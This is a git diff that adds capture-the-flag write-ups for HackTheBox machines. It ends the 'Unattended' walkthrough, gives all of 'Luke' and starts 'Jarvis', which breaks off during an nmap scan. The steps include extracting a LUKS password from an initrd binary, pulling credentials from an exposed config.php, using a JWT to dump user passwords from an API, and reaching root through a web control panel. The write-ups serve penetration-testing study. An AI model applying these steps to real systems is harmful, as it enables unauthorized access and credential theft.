/dev/pts type devpts (rw,nosuid,noexec,relatime,gid=5,mode=620,ptmxmode=000) + tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=205252k,mode=755) + **/dev/mapper/sda2_crypt on / type ext4 (rw,relatime,errors=remount-ro,data=ordered)** + securityfs on /sys/kernel/security type securityfs (rw,nosuid,nodev,noexec,relatime) + tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,noexec) + tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k) + tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755) + cgroup on /sys/fs/cgroup/systemd type cgroup (rw,nosuid,nodev,noexec,relatime,xattr,release_agent=/lib/systemd/systemd-cgroups-agent,name=systemd) + pstore on /sys/fs/pstore type pstore (rw,nosuid,nodev,noexec,relatime) + cgroup on /sys/fs/cgroup/perf_event type cgroup (rw,nosuid,nodev,noexec,relatime,perf_event) + cgroup on /sys/fs/cgroup/blkio type cgroup (rw,nosuid,nodev,noexec,relatime,blkio) + cgroup on /sys/fs/cgroup/freezer type cgroup (rw,nosuid,nodev,noexec,relatime,freezer) + cgroup on /sys/fs/cgroup/pids type cgroup (rw,nosuid,nodev,noexec,relatime,pids) + cgroup on /sys/fs/cgroup/devices type cgroup (rw,nosuid,nodev,noexec,relatime,devices) + cgroup on /sys/fs/cgroup/net_cls,net_prio type cgroup (rw,nosuid,nodev,noexec,relatime,net_cls,net_prio) + cgroup on /sys/fs/cgroup/memory type cgroup (rw,nosuid,nodev,noexec,relatime,memory) + cgroup on /sys/fs/cgroup/cpu,cpuacct type cgroup (rw,nosuid,nodev,noexec,relatime,cpu,cpuacct) + cgroup on /sys/fs/cgroup/cpuset type cgroup (rw,nosuid,nodev,noexec,relatime,cpuset) + systemd-1 on /proc/sys/fs/binfmt_misc type autofs (rw,relatime,fd=28,pgrp=1,timeout=0,minproto=5,maxproto=5,direct,pipe_ino=9241) + mqueue on /dev/mqueue type mqueue (rw,relatime) + debugfs on /sys/kernel/debug type debugfs (rw,relatime) + hugetlbfs on /dev/hugepages type hugetlbfs (rw,relatime) + tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,relatime) + tmpfs on /var/tmp type tmpfs (rw,nosuid,nodev,noexec,relatime) + /dev/sda1 on /boot type ext2 (rw,relatime,block_validity,barrier,user_xattr,acl) + + + +That which stands out is /dev/mapper/sda2_crypt, combine that with us being part of the grub group, maybe we modified grub to automap an encrypted drive, that is because a system do not automatically boots up on said encrypted drive, because it requires a password to read it's contents, such as the LUKS encrypted drives. To enumerate further, we can find which files are owned by grub: + + + find / -group grub -ls 2>/dev/null + + + + + guly@unattended:~$ find / -group grub -ls 2>/dev/null + find / -group grub -ls 2>/dev/null + 16 19331 -rw-r----- 1 root grub 19715792 Aug 23 2019 /boot/initrd.img-4.9.0-8-amd64 + + + +And you see that the image that grub has access to is this initrd.img file. Looking at the date is also hinting us that this is the intended path because it is roughly the same date as the user.txt flag. so we download it: + +![](prg/41_018.png) + + + [ 10.10.14.7/23 ] [ /dev/pts/7 ] [~/_HTB/Unattended] + → file initrd.img + initrd.img: gzip compressed data, last modified: Fri Aug 23 09:26:41 2019, from Unix, original size modulo 2^32 62110208 + + + +It's gzip compressed, so we can decompress it with zcat: + + + zcat initrd.img | cpio -i + + + +-i means extract, -d means make directories, -m means preserve modified time, -v for verbose, + + + + [ 10.10.14.7/23 ] [ /dev/pts/7 ] [_HTB/Unattended/init] + → ls + initrd.img + + [ 10.10.14.7/23 ] [ /dev/pts/7 ] [_HTB/Unattended/init] + → which zcat && which cpio + /usr/bin/zcat + /usr/bin/cpio + + [ 10.10.14.7/23 ] [ /dev/pts/7 ] [_HTB/Unattended/init] + → zcat initrd.img | cpio -idmv + + + +Once extracted we'll filter out the extra data using the date from which the certificate was issued: + +![](prg/41_019.png) + +Using the find command with the dates(19 December 2018 and ): + + + + [ 10.10.14.7/23 ] [ /dev/pts/7 ] [_HTB/Unattended/init] + → find . -type f -newermt 2018-12-19 ! -newermt 2019-12-21 -ls + 5775196 912 -rwxr-x--- 1 nothing nothing 933240 Aug 23 2019 ./sbin/uinitrd + 5898937 84 -rw-r--r-- 1 nothing nothing 82756 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.dep.bin + 5898879 4 -rw-r--r-- 1 nothing nothing 177 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.devname + 5898880 8 -rw-r--r-- 1 nothing nothing 5327 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.builtin.bin + 5898934 4 -rw-r--r-- 1 nothing nothing 310 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.softdep + 5898938 56 -rw-r--r-- 1 nothing nothing 53740 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.dep + 5898936 252 -rw-r--r-- 1 nothing nothing 256371 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.alias + 5898935 232 -rw-r--r-- 1 nothing nothing 237478 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.alias.bin + 5898881 184 -rw-r--r-- 1 nothing nothing 186301 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.symbols.bin + 5898933 148 -rw-r--r-- 1 nothing nothing 151421 Aug 23 2019 ./lib/modules/4.9.0-8-amd64/modules.symbols + 5636894 4 -rwxr-xr-x 1 nothing nothing 501 Aug 23 2019 ./scripts/init-top/udev + 5636893 4 -rw-r--r-- 1 nothing nothing 314 Aug 23 2019 ./scripts/init-top/ORDER + 5636909 4 -rw-r--r-- 1 nothing nothing 85 Aug 23 2019 ./scripts/local-bottom/ORDER + 5636902 4 -rw-r--r-- 1 nothing nothing 77 Aug 23 2019 ./scripts/init-bottom/ORDER + 5636905 4 -rw-r--r-- 1 nothing nothing 82 Aug 23 2019 ./scripts/local-premount/ORDER + 5636890 4 -rw-r--r-- 1 nothing nothing 82 Aug 23 2019 ./scripts/local-block/ORDER + 5637835 12 -rwxr-xr-x 1 nothing nothing 9470 Dec 20 2018 ./scripts/local-top/cryptroot + 5637833 4 -rw-r--r-- 1 nothing nothing 162 Aug 23 2019 ./scripts/local-top/ORDER + 5636554 4 -rw-r--r-- 1 nothing nothing 37 Aug 23 2019 ./boot/guid + 5899964 4 -rw-r--r-- 1 nothing nothing 11 Aug 23 2019 ./etc/hostname + 5899971 0 -rw-r--r-- 1 nothing nothing 0 Aug 23 2019 ./etc/fstab + 5899968 4 -rw-r--r-- 1 nothing nothing 77 Aug 23 2019 ./etc/motd + 5899959 4 -rw-r--r-- 1 nothing nothing 2074 Aug 23 2019 ./etc/ld.so.cache + 5899967 4 -rw-r--r-- 1 nothing nothing 4024 Aug 23 2019 ./etc/boottime.kmap.gz + 5899977 4 -rw-r--r-- 1 nothing nothing 84 Aug 23 2019 ./conf/conf.d/cryptroot + 5899978 4 -rw-r--r-- 1 nothing nothing 12 Dec 20 2018 ./conf/conf.d/resume + 5899973 4 -rw-r--r-- 1 nothing nothing 37 Aug 23 2019 ./conf/guid + 5899975 4 -rw-r--r-- 1 nothing nothing 16 Aug 23 2019 ./conf/arch.conf + + + +That's good enough, but we'll narrow it down to what we're looking for which is crypt: + + + + [ 10.10.14.7/23 ] [ /dev/pts/7 ] [_HTB/Unattended/init] + → find . -type f -newermt 2018-12-19 ! -newermt 2019-12-21 -ls | grep crypt + 5637835 12 -rwxr-xr-x 1 nothing nothing 9470 Dec 20 2018 ./scripts/local-top/cryptroot + 5899977 4 -rw-r--r-- 1 nothing nothing 84 Aug 23 2019 ./conf/conf.d/cryptroot + + + +The interesting part here is cryptroot, so looking at it's contents: + +![](prg/41_020.png) + +So here we have a comment from guly, which is definitely the hint we need, then the cryptopen command, that tries to decrypt the drive, which is calling /sbin/unitrd to do so with the following string: + + + c0m3s3f0ss34nt4n1 + + + +Which we could have also found using a simple recursive grep search: + + + [ 10.10.14.7/23 ] [ /dev/pts/4 ] [_HTB/Unattended/init] + → grep -RI password . && grep -RI guly . + ./bin/cryptroot-unlock: echo "cryptsetup: cryptsetup failed, bad password or options?" >&2 + ./scripts/local-top/cryptroot: # Try to get a satisfactory password $crypttries times + ./scripts/local-top/cryptroot: cryptkeyscript="plymouth ask-for-password --prompt" + ./scripts/local-top/cryptroot: # guly: we have to deal with lukfs password sync when root changes her one + ./scripts/local-top/cryptroot: message "cryptsetup: cryptsetup failed, bad password or options?" + ./scripts/local-top/cryptroot: message "cryptsetup: unknown fstype, bad password or options?" + ./scripts/local-top/cryptroot: # guly: we have to deal with lukfs password sync when root changes her one + + +So if we try this command on our machine, we get a password: + + + [ 10.10.14.7/23 ] [ /dev/pts/4 ] [_HTB/Unattended/init] + → cd sbin + + [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] + → ls -lash | grep initrd + 912K -rwxr-x--- 1 nothing nothing 912K Aug 23 2019 uinitrd + + [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] + → ./uinitrd c0m3s3f0ss34nt4n1 + supercazzola + + +Sadly, both c0m3s3f0ss34nt4n1 and supercazzola are not the root password, so moving on, we'll examine this uinitrd inside the box Looking at the output of the mount cmd we need a share that doesn't have the noexec flag: + + + + guly@unattended:~$ mount | grep tmp + mount | grep tmp + udev on /dev type devtmpfs (rw,nosuid,relatime,size=1014344k,nr_inodes=253586,mode=755) + tmpfs on /run type tmpfs (rw,nosuid,noexec,relatime,size=205252k,mode=755) + tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev,noexec) + tmpfs on /run/lock type tmpfs (rw,nosuid,nodev,noexec,relatime,size=5120k) + tmpfs on /sys/fs/cgroup type tmpfs (ro,nosuid,nodev,noexec,mode=755) + tmpfs on /tmp type tmpfs (rw,nosuid,nodev,noexec,relatime) + tmpfs on /var/tmp type tmpfs (rw,nosuid,nodev,noexec,relatime) + + + +Sadly as you can see, the noexec flag is everywhere so we have to do it locally, we'll use the strace utility to examine the binary: + + + [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] + → sudo apt install strace + + [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] + → strace ./uinitrd c0m3s3f0ss34nt4 + execve("./uinitrd", ["./uinitrd", "c0m3s3f0ss34nt4"], 0x7ffe59e95778 /* 44 vars */) = 0 + uname({sysname="Linux", nodename="nowhere", ...}) = 0 + brk(NULL) = 0x704000 + brk(0x7051c0) = 0x7051c0 + arch_prctl(ARCH_SET_FS, 0x704880) = 0 + readlink("/proc/self/exe", "/home/nothing/_HTB/Unattended/in"..., 4096) = 47 + brk(0x7261c0) = 0x7261c0 + brk(0x727000) = 0x727000 + access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) + open("**/etc/hostname** ", O_RDONLY) = 3 + fstat(3, {st_mode=S_IFREG|0644, st_size=8, ...}) = 0 + mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff522874000 + read(3, "nowhere\n", 4096) = 8 + close(3) = 0 + munmap(0x7ff522874000, 4096) = 0 + open("**/boot/guid** ", O_RDONLY) = -1 ENOENT (No such file or directory) + fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0 + mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7ff522874000 + write(1, "supercazzola", 12supercazzola) = 12 + exit_group(0) = ? + +++ exited with 0 +++ + + +We can see the binary checks /etc/hostname and /boot/guid + + + + guly@unattended:~$ cat /boot/guid && cat /etc/hostname + cat /boot/guid && cat /etc/hostname + C0B604A4-FE6D-4C14-A791-BEB3769F3FBA + unattended + + + +So we change them accordingly : + + + [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] + → sudo su + + [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] + → echo 'unattended' > /etc/hostname + + [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] + → echo 'C0B604A4-FE6D-4C14-A791-BEB3769F3FBA' > /boot/guid + + +Run it again: + + + [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] + → strace ./uinitrd c0m3s3f0ss34nt4n1 + execve("./uinitrd", ["./uinitrd", "c0m3s3f0ss34nt4n1"], 0x7fff817b6008 /* 44 vars */) = 0 + uname({sysname="Linux", nodename="nowhere", ...}) = 0 + brk(NULL) = 0x9f0000 + brk(0x9f11c0) = 0x9f11c0 + arch_prctl(ARCH_SET_FS, 0x9f0880) = 0 + readlink("/proc/self/exe", "/home/nothing/_HTB/Unattended/in"..., 4096) = 47 + brk(0xa121c0) = 0xa121c0 + brk(0xa13000) = 0xa13000 + access("/etc/ld.so.nohwcap", F_OK) = -1 ENOENT (No such file or directory) + open("/etc/hostname", O_RDONLY) = 3 + fstat(3, {st_mode=S_IFREG|0644, st_size=11, ...}) = 0 + mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f4c5652d000 + read(3, "unattended\n", 4096) = 11 + close(3) = 0 + munmap(0x7f4c5652d000, 4096) = 0 + open("/boot/guid", O_RDONLY) = 3 + fstat(3, {st_mode=S_IFREG|0644, st_size=37, ...}) = 0 + mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f4c5652d000 + read(3, "C0B604A4-FE6D-4C14-A791-BEB3769F"..., 4096) = 37 + close(3) = 0 + munmap(0x7f4c5652d000, 4096) = 0 + fstat(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(0x88, 0x4), ...}) = 0 + mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7f4c5652d000 + write(1, "**132f93ab100671dcb263acaf5dc95d82** "..., 40132f93ab100671dcb263acaf5dc95d8260e8b7c6) = 40 + exit_group(0) = ? + +++ exited with 0 +++ + + [ 10.10.14.7/23 ] [ /dev/pts/4 ] [Unattended/init/sbin] + → ./uinitrd c0m3s3f0ss34nt4n1 + **132f93ab100671dcb263acaf5dc95d8260e8b7c6** + + +And here at the bottom we see a certain hash so let's try it to see if it is the root password: + + + guly@unattended:~$ su - + su - + Password: 132f93ab100671dcb263acaf5dc95d8260e8b7c6 + + root@unattended:~# id + id + uid=0(root) gid=0(root) groups=0(root) + root@unattended:~# cat root.txt + cat root.txt + 55XXXXXXXXXXXXXXXXXXXXXXXXXXXXXX + + + +And that's it ! We have been able to print out the root flag. + +## **Conclusion** + +Here we can see the progress graph : + +![](img/41_graph.png) + diff --git a/Medium/42.md b/Medium/42.md new file mode 100644 index 0000000..1949fa1 --- /dev/null +++ b/Medium/42.md @@ -0,0 +1,306 @@ +# Luke Writeup + +![](img/42.png) + +## Introduction : + +Luke is a FreeBSD Medium box that was released back in May 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 85.171.153.138 ] [ /dev/pts/0 ] [Nextcloud/blog] + → sudo nmap -vvv -sTU -p- 10.10.10.137 --max-retries 0 -Pn --min-rate=500 | grep Discovered + Discovered open port 80/tcp on 10.10.10.137 + Discovered open port 22/tcp on 10.10.10.137 + Discovered open port 21/tcp on 10.10.10.137 + Discovered open port 3000/tcp on 10.10.10.137 + Discovered open port 8000/tcp on 10.10.10.137 + + [ 85.171.153.138 ] [ /dev/pts/0 ] [Nextcloud/blog] + → nmap -sCV -p21,22,80,3000,8000 10.10.10.137 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-23 10:21 BST + Nmap scan report for 10.10.10.137 + Host is up (0.093s latency). + + PORT STATE SERVICE VERSION + 21/tcp open ftp vsftpd 3.0.3+ (ext.1) + | ftp-anon: Anonymous FTP login allowed (FTP code 230) + |_drwxr-xr-x 2 0 0 512 Apr 14 2019 webapp + | ftp-syst: + | STAT: + | FTP server status: + | Connected to 10.10.14.15 + | Logged in as ftp + | TYPE: ASCII + | No session upload bandwidth limit + | No session download bandwidth limit + | Session timeout in seconds is 300 + | Control connection is plain text + | Data connections will be plain text + | At session startup, client count was 2 + | vsFTPd 3.0.3+ (ext.1) - secure, fast, stable + |_End of status + 22/tcp open ssh? + |_ssh-hostkey: ERROR: Script execution failed (use -d to debug) + 80/tcp open http Apache httpd 2.4.38 ((FreeBSD) PHP/7.3.3) + | http-methods: + |_ Potentially risky methods: TRACE + |_http-server-header: Apache/2.4.38 (FreeBSD) PHP/7.3.3 + |_http-title: Luke + 3000/tcp open http Node.js Express framework + |_http-title: Site doesn't have a title (application/json; charset=utf-8). + 8000/tcp open http Ajenti http control panel + |_http-title: Ajenti + + Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . + Nmap done: 1 IP address (1 host up) scanned in 178.00 seconds + + +## **Part 2 : Getting User Access** + +Our nmap scan picked up port 21 with anonymous login so let's investigate it: + + + + [ 10.10.14.15 ] [ /dev/pts/0 ] [Nextcloud/blog] + → ftp 10.10.10.137 + Connected to 10.10.10.137. + 220 vsFTPd 3.0.3+ (ext.1) ready... + Name (10.10.10.137:nothing): anonymous + 331 Please specify the password. + Password: + 230 Login successful. + Remote system type is UNIX. + Using binary mode to transfer files. + ftp> ls + 200 PORT command successful. Consider using PASV. + 150 Here comes the directory listing. + drwxr-xr-x 2 0 0 512 Apr 14 2019 webapp + 226 Directory send OK. + ftp> cd webapp + 250 Directory successfully changed. + ftp> ls + 200 PORT command successful. Consider using PASV. + 150 Here comes the directory listing. + -r-xr-xr-x 1 0 0 306 Apr 14 2019 for_Chihiro.txt + 226 Directory send OK. + ftp> get for_Chihiro.txt + local: for_Chihiro.txt remote: for_Chihiro.txt + 200 PORT command successful. Consider using PASV. + 150 Opening BINARY mode data connection for for_Chihiro.txt (306 bytes). + 226 Transfer complete. + 306 bytes received in 0.00 secs (1.7903 MB/s) + ftp> exit + 221 Goodbye. + + [ 10.10.14.15 ] [ /dev/pts/0 ] [Nextcloud/blog] + → mkdir ~/_HTB/Luke && mv for_Chihiro.txt ~/_HTB/Luke + + [ 10.10.14.15 ] [ /dev/pts/0 ] [Nextcloud/blog] + → cd ~/_HTB/Luke && file for_Chihiro.txt && cat for_Chihiro.txt + for_Chihiro.txt: ASCII text + Dear Chihiro !! + + As you told me that you wanted to learn Web Development and Frontend, I can give you a little push by showing the sources of + the actual website I've created . + Normally you should know where to look but hurry up because I will delete them soon because of our security policies ! + + Derry + + +looks like they have a bunch of sourcecode but not available through anonymous login via ftp, so we'll investigate port 80 instead which is a bootstrap4 template page: + +![](prg/42_001.png) + +Taking a look at port 3000 and 8000 are both more interesting: + +![](prg/42_002.png) + +Which reveals us an Ajenti login webpage, and the node.js express framework JSON webapp our nmap scan picked up earlier. so let's investigate with gobuster what lies on the previous port 80: + + + [ 10.10.14.15/23 ] [ /dev/pts/3 ] [~] + → dirsearch -u http://10.10.10.137 -e php + git clone https://github.com/maurosoria/dirsearch.git + dirsearch -u <****url> -e <****php,txt,html,js> -t 50 -x 500 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php | HTTP method: get | Threads: 10 | Wordlist size: 6046 + + Error Log: /home/nothing/Desktop/Tools/dirsearch/logs/errors-20-04-24_09-04-58.log + + Target: http://10.10.10.137 + + [09:04:58] Starting: + [09:05:02] 403 - 213B - /.hta + [09:05:02] 403 - 220B - /.ht_wsr.txt + [09:05:02] 403 - 222B - /.htaccess-dev + [09:05:02] 403 - 224B - /.htaccess-local + [09:05:02] 403 - 224B - /.htaccess-marco + [09:05:02] 403 - 222B - /.htaccess.BAK + [09:05:02] 403 - 223B - /.htaccess.bak1 + [09:05:02] 403 - 222B - /.htaccess.old + [09:05:02] 403 - 223B - /.htaccess.orig + [09:05:02] 403 - 225B - /.htaccess.sample + [09:05:02] 403 - 223B - /.htaccess.save + [09:05:02] 403 - 222B - /.htaccess.txt + [09:05:02] 403 - 224B - /.htaccess_extra + [09:05:02] 403 - 223B - /.htaccess_orig + [09:05:02] 403 - 221B - /.htaccess_sc + [09:05:02] 403 - 221B - /.htaccessBAK + [09:05:02] 403 - 221B - /.htaccessOLD + [09:05:02] 403 - 222B - /.htaccessOLD2 + [09:05:02] 403 - 219B - /.htaccess~ + [09:05:02] 403 - 217B - /.htgroup + [09:05:02] 403 - 222B - /.htpasswd-old + [09:05:02] 403 - 223B - /.htpasswd_test + [09:05:02] 403 - 219B - /.htpasswds + [09:05:02] 403 - 217B - /.htusers**[09:05:25] 200 - 202B - /config.php** + [09:05:27] 301 - 232B - /css -> http://10.10.10.137/css/ + [09:05:34] 200 - 1KB - /gulpfile.js + [09:05:36] 200 - 3KB - /index.md + [09:05:38] 301 - 231B - /js -> http://10.10.10.137/js/ + [09:05:39] 200 - 1KB - /LICENSE + [09:05:40] 200 - 2KB - /login.php + [09:05:41] 401 - 381B - /management + [09:05:41] 401 - 381B - /management/ + [09:05:42] 301 - 235B - /member -> http://10.10.10.137/member/ + [09:05:42] 200 - 216B - /member/ + [09:05:46] 200 - 1KB - /package.json + [09:05:51] 200 - 4KB - /README.md + + Task Completed + + +Here the interesting thing is config.php + + + [ 10.10.14.15/23 ] [ /dev/pts/3 ] [~] + → curl -sk http://10.10.10.137/config.php + $dbHost = 'localhost'; + $dbUsername = 'root'; + $dbPassword = 'Zk6heYCyv6ZE9Xcg'; + $db = "login"; + + $conn = new mysqli($dbHost, $dbUsername, $dbPassword,$db) or die("Connect failed: %s\n". $conn -> error); + + + +Which gives us credentials for a database on localhost root:Zk6heYCyv6ZE9Xcg. Now back on port 3000 the error message was "auth token is not supplied" Therefore we could use curl to supply the needed parameters of said token, whose password is the one we found earlier, but we had to guess the username, which was "admin" + +![](prg/42_003.png) + +As you can see the credentials we found do not work on the login page of port 8000, so we'll use curl on the jwt application itself, especially on the login page: + + + [ 10.10.14.15/23 ] [ /dev/pts/3 ] [~] + → dirsearch -u http://10.10.10.137:3000 -e php,html,txt + git clone https://github.com/maurosoria/dirsearch.git + dirsearch -u -e -t 50 -x 500 + + _|. _ _ _ _ _ _|_ v0.3.9 + (_||| _) (/_(_|| (_| ) + + Extensions: php, html, txt | HTTP method: get | Threads: 10 | Wordlist size: 6748 + + Error Log: /home/nothing/Desktop/Tools/dirsearch/logs/errors-20-04-24_09-24-12.log + + Target: http://10.10.10.137:3000 + + [09:24:12] Starting: + [09:24:58] 200 - 13B - /login + [09:24:58] 200 - 13B - /Login + [09:24:59] 200 - 13B - /login/ + [09:25:21] 200 - 56B - /users + [09:25:21] 200 - 56B - /users/ + [09:25:21] 200 - 56B - /users/admin + + + + [ 10.10.14.15/23 ] [ /dev/pts/3 ] [~] + → curl -XPOST http://10.10.10.137:3000/login -H 'Content-Type: application/json' -d '{"username":"root","password":"Zk6heYCyv6ZE9Xcg"}' + Forbidden + + [ 10.10.14.15/23 ] [ /dev/pts/3 ] [~] + → curl -XPOST http://10.10.10.137:3000/login -H 'Content-Type: application/json' -d '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' + {"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTg3NzE3MTg5LCJleHAiOjE1ODc4MDM1ODl9.atFsMshB6MFx3_wQIwgeqTsNgOobJHjLDQeK6QnzVhM"} + + +And there we have it ! Now we get a JWT token after logging in: + + + {"success":true,"message":"Authentication successful!",**"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTg3NzE3MTg5LCJleHAiOjE1ODc4MDM1ODl9.atFsMshB6MFx3_wQIwgeqTsNgOobJHjLDQeK6QnzVhM"**} + + +After reading JWT's documentation, In order to authenticate we add the following header to the get request on to view the contents of /users + + + Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTg3NzE3MTg5LCJleHAiOjE1ODc4MDM1ODl9.atFsMshB6MFx3_wQIwgeqTsNgOobJHjLDQeK6QnzVhM + + +So we use it to list the users on the box: + + + [ 10.10.14.15/23 ] [ /dev/pts/3 ] [~] + → curl -XPOST http://10.10.10.137:3000/login -H 'Content-Type: application/json' -d '{"username":"admin","password":"Zk6heYCyv6ZE9Xcg"}' + {"success":true,"message":"Authentication successful!","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTg3NzE3NzQ2LCJleHAiOjE1ODc4MDQxNDZ9.og7r_8WkiyA2JbbIoyOsiYRhKTyLl17oPAIOMxuq3wI"}% + [ 10.10.14.15/23 ] [ /dev/pts/3 ] [~] + → curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTg3NzE3NzQ2LCJleHAiOjE1ODc4MDQxNDZ9.og7r_8WkiyA2JbbIoyOsiYRhKTyLl17oPAIOMxuq3wI' http://10.10.10.137:3000/users + + [{"ID":"1","name":"Admin","Role":"Superuser"},{"ID":"2","name":"Derry","Role":"Web Admin"},{"ID":"3","name":"Yuri","Role":"Beta Tester"},{"ID":"4","name":"Dory","Role":"Supporter"}] + + +which we can use to list each of their passwords: + + + [ 10.10.14.15/23 ] [ /dev/pts/3 ] [~] + → curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTg3NzE3NzQ2LCJleHAiOjE1ODc4MDQxNDZ9.og7r_8WkiyA2JbbIoyOsiYRhKTyLl17oPAIOMxuq3wI' http://10.10.10.137:3000/users + + [{"ID":"1","name":"Admin","Role":"Superuser"},{"ID":"2","name":"Derry","Role":"Web Admin"},{"ID":"3","name":"Yuri","Role":"Beta Tester"},{"ID":"4","name":"Dory","Role":"Supporter"}]% + [ 10.10.14.15/23 ] [ /dev/pts/3 ] [~] + → curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTg3NzE3NzQ2LCJleHAiOjE1ODc4MDQxNDZ9.og7r_8WkiyA2JbbIoyOsiYRhKTyLl17oPAIOMxuq3wI' http://10.10.10.137:3000/users/Dory + + {"name":"Dory","password":"5y:!xa=ybfe)/QD"}% + [ 10.10.14.15/23 ] [ /dev/pts/3 ] [~] + → curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTg3NzE3NzQ2LCJleHAiOjE1ODc4MDQxNDZ9.og7r_8WkiyA2JbbIoyOsiYRhKTyLl17oPAIOMxuq3wI' http://10.10.10.137:3000/users/Derry + + {"name":"Derry","password":"rZ86wwLvx7jUxtch"}% + [ 10.10.14.15/23 ] [ /dev/pts/3 ] [~] + → curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTg3NzE3NzQ2LCJleHAiOjE1ODc4MDQxNDZ9.og7r_8WkiyA2JbbIoyOsiYRhKTyLl17oPAIOMxuq3wI' http://10.10.10.137:3000/users/Yuri + + {"name":"Yuri","password":"bet@tester87"}% + [ 10.10.14.15/23 ] [ /dev/pts/3 ] [~] + → curl -X GET -H 'Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiaWF0IjoxNTg3NzE3NzQ2LCJleHAiOjE1ODc4MDQxNDZ9.og7r_8WkiyA2JbbIoyOsiYRhKTyLl17oPAIOMxuq3wI' http://10.10.10.137:3000/users/Admin + + {"name":"Admin","password":"WX5b7)>/rp$U)FW"} + + +` ![](prg/42_004.png) + +We use derry's credentials to login : + +![](prg/42_005.png) + +And we are logged in ! + +## **Part 3 : Getting Root Access** + +From there we need to go to config.json where the ajenti credentials are: + +![](prg/42_006.png) **root:KpMasng6S5EtTy9Z** ![](prg/42_007.png) + +Once logged in we are able to get more information about the box which is a FreeBSD 12.0-RELEASE amd64 machine. From there we simply head over to the terminal tab, from which we can execute commands as the root user, and therefore print out both flags. + +![](prg/42_008.png) + +## **Conclusion** + +Here we can see the progress graph : + +![](img/42_graph.png) + diff --git a/Medium/43.md b/Medium/43.md new file mode 100644 index 0000000..104948b --- /dev/null +++ b/Medium/43.md @@ -0,0 +1,582 @@ +# Jarvis Writeup + +![](img/43.png) + +## Introduction : + +Jarvis is a Medium linux box released back in June 2019. + +## **Part 1 : Initial Enumeration** + +As always we begin our Enumeration using **Nmap** to enumerate opened ports. We will be using the flags **-sC** for default scripts and **-sV** to enumerate versions. + + + [ 10.10.14.15/23 ] [ /dev/pts/5 ] [~] + → sudo nmap -vvv -sTU -p- 10.10.10.143 --max-retries 0 -Pn --min-rate=500 | grep Discovered + [sudo] password for nothing: + Discovered open port 22/tcp on 10.10.10.143 + Discovered open port 80/tcp on 10.10.10.143 + + [ 10.10.14.15/23 ] [ /dev/pts/5 ] [~] + → nmap -sCV -p22,80 10.10.10.143 + Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-24 13:36 BST + Nmap scan report for 10.10.10.143 + Host is up 